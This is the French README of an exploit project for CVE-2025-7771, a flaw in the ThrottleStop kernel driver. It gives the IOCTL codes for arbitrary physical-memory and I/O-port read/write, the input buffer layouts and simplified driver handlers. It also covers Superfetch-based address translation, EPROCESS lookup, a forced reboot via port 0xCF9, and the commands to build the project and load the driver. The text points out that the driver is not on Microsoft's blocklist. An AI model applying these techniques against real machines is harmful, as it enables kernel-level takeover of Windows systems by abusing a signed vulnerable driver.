
CVE-2025-7771 : Lecture/écriture arbitraire en mémoire physique et sur les ports d'E/S via le pilote ThrottleStop
CVE-2025-7771 : Lecture/écriture arbitraire en mémoire physique et sur les ports d'E/S via le pilote ThrottleStop
ThrottleStop est une petite application légitime utilisée pour surveiller et corriger le throttling du CPU. Elle dispose d'un pilote qui facilite ces tâches et qui, pour l'essentiel, ne comporte aucune forme de validation des entrées.
| IOCTL | Vulnérabilité |
|---|---|
| 0x80006498 | Lecture mémoire arbitraire |
| 0x8000649C | Écriture mémoire arbitraire |
| 0x80006430 | Lecture de port arbitraire |
| 0x80006434 | Écriture de port arbitraire |
Il semble également y avoir une lecture et une écriture arbitraires de MSR, mais je n'ai pas réussi à les faire fonctionner.
N'hésitez pas à y jeter un œil vous-même.
La lecture de MSR se trouve à 0x80006448 et l'écriture à 0x8000644C.
Si vous parvenez à les faire fonctionner, veuillez soumettre une issue décrivant la procédure.
Tous les appels IOCTL mentionnés ci-dessous sont implémentés dans le fichier Exploit.c.
L'IOCTL 0x80006498 mappe toute adresse physique fournie dans l'espace noyau à l'aide de MmMapIoSpace et y lit 1, 2, 4 ou 8 octets. Les données sont ensuite recopiées vers l'espace utilisateur.
Pour déclencher cet IOCTL, utilisez DeviceIoControl avec l'adresse physique en entrée et la taille du tampon de sortie comme taille de lecture (1, 2, 4 ou 8).
Code simplifié de cet IOCTL dans le pilote :
case 0x80006498: {
size_t readSize = inputBuffer->Size; // must be 1,2,4,8
PHYSICAL_ADDRESS physAddr = inputBuffer->PhysAddr;
void* mappedAddr = MmMapIoSpace(physAddr, readSize, MmNonCached);
if (mappedAddr) {
if (readSize == 1)
*outputBuffer = *(uint8_t*)mappedAddr;
else if (readSize == 2)
*(uint16_t*)outputBuffer = *(uint16_t*)mappedAddr;
else if (readSize == 4)
*(uint32_t*)outputBuffer = *(uint32_t*)mappedAddr;
else if (readSize == 8)
*(uint64_t*)outputBuffer = *(uint64_t*)mappedAddr;
MmUnmapIoSpace(mappedAddr, readSize);
}
}
Semblable à la lecture, l'IOCTL 0x8000649C mappe l'adresse physique fournie dans l'espace noyau à l'aide de MmMapIoSpace et y lit 1, 2, 4 ou 8 octets.
Pour déclencher cet IOCTL, utilisez DeviceIoControl avec la disposition de tampon d'entrée suivante :
struct {
ULONGLONG PhysicalAddress; // 8 bytes
union {
BYTE Value8;
WORD Value16;
DWORD Value32;
QWORD Value64;
};
};
La taille du tampon d'entrée sera de 8 + (1, 2, 4 ou 8) selon la taille d'écriture.
Le tampon de sortie et sa taille ne sont pas utilisés.
Code simplifié de cet IOCTL dans le pilote :
case 0x8000649C: {
size_t writeSize = inputBuffer->Size; // must be 1,2,4,8
PHYSICAL_ADDRESS physAddr = inputBuffer->PhysAddr;
void* mappedAddr = MmMapIoSpace(physAddr, writeSize, MmNonCached);
if (mappedAddr) {
if (writeSize == 1)
*(uint8_t*)mappedAddr = inputBuffer->Value8;
else if (writeSize == 2)
*(uint16_t*)mappedAddr = inputBuffer->Value16;
else if (writeSize == 4)
*(uint32_t*)mappedAddr = inputBuffer->Value32;
else if (writeSize == 8)
*(uint64_t*)mappedAddr = inputBuffer->Value64;
MmUnmapIoSpace(mappedAddr, writeSize);
}
}
L'IOCTL 0x80006430 permet à un utilisateur de spécifier un port d'E/S et d'y lire directement à l'aide de __inbyte, __inword ou __indword.
Le tampon d'entrée est un USHORT et la taille du tampon d'entrée doit être sizeof(USHORT).
Le tampon de sortie contiendra le résultat (1, 2 ou 4 octets selon la taille demandée) et la taille de sortie peut être 1, 2 ou 4.
Code simplifié de cet IOCTL dans le pilote :
case 0x80006430: {
uint16_t port = inputBuffer->PortNumber;
uint8_t size = inputBuffer->AccessSize; // 1, 2, or 4
if (size == 1)
*outputBuffer = __inbyte(port);
else if (size == 2)
*(uint16_t*)outputBuffer = __inword(port);
else if (size == 4)
*(uint32_t*)outputBuffer = __indword(port);
}
Semblable à la lecture de port, l'IOCTL 0x80006434 permet à un utilisateur de spécifier un port d'E/S et d'y écrire des valeurs arbitraires avec __outbyte, __outword ou __outdword.
La disposition du tampon d'entrée est :
struct {
USHORT PortNumber;
BYTE Padding[2]; // alignment
union {
BYTE Value8;
WORD Value16;
DWORD Value32;
};
};
La taille du tampon d'entrée doit être sizeof(USHORT) + sizeof(Value) (+ padding). Le tampon de sortie et sa taille ne sont pas utilisés.
Code simplifié de cet IOCTL dans le pilote :
case 0x80006434: {
uint16_t port = inputBuffer->PortNumber;
uint8_t size = inputBuffer->AccessSize; // 1, 2, or 4
if (size == 1)
__outbyte(port, inputBuffer->Value8);
else if (size == 2)
__outword(port, inputBuffer->Value16);
else if (size == 4)
__outdword(port, inputBuffer->Value32);
}
Cette traduction est possible en abusant de Superfetch, un module noyau légitime qui expose la traduction d'adresses virtuelles en adresses physiques via des API non documentées. Le code correspondant est implémenté dans vtop.c
Ce projet peut être compilé avec Meson. Il lit le champ UniqueProcessId en résolvant la structure EPROCESS du processus System à l'aide de PsInitialSystemProcess et vérifie s'il vaut 4 (implémenté dans Main.c et les fonctions permettant de trouver l'EPROCESS d'un PID spécifique sont implémentées dans EProcess.c). De plus, il demande à l'utilisateur s'il souhaite forcer le redémarrage de son système. Cela est possible en écrivant la valeur 0x0E sur le port 0xCF9.
Avertissement : Tout a été testé sur Windows 11 build 24H2. Les offsets dans la structure EPROCESS peuvent être différents sur votre système.
Compilez le projet avec
meson setup build
Cela créera le répertoire build. Compilez maintenant le projet avec
meson compile -C build
Le pilote est disponible dans le répertoire Drivers du dépôt. Les pilotes ThrottleStop peuvent être directement extraits du programme ThrottleStop.exe via Resource Hacker. Vous y trouverez 2 pilotes - x64 et x86. DriverObject->MajorFunction[14] contient la fonction de dispatch où tous les IOCTL ont été implémentés.
Créez et démarrez le pilote avec :
sc create ThrottleStop binPath="<Path>" type=kernel
sc start ThrottleStop
https://github.com/jonomango/superfetch
Ce pilote n'a pas encore été ajouté à la liste de blocage des pilotes de Microsoft ni à loldrivers.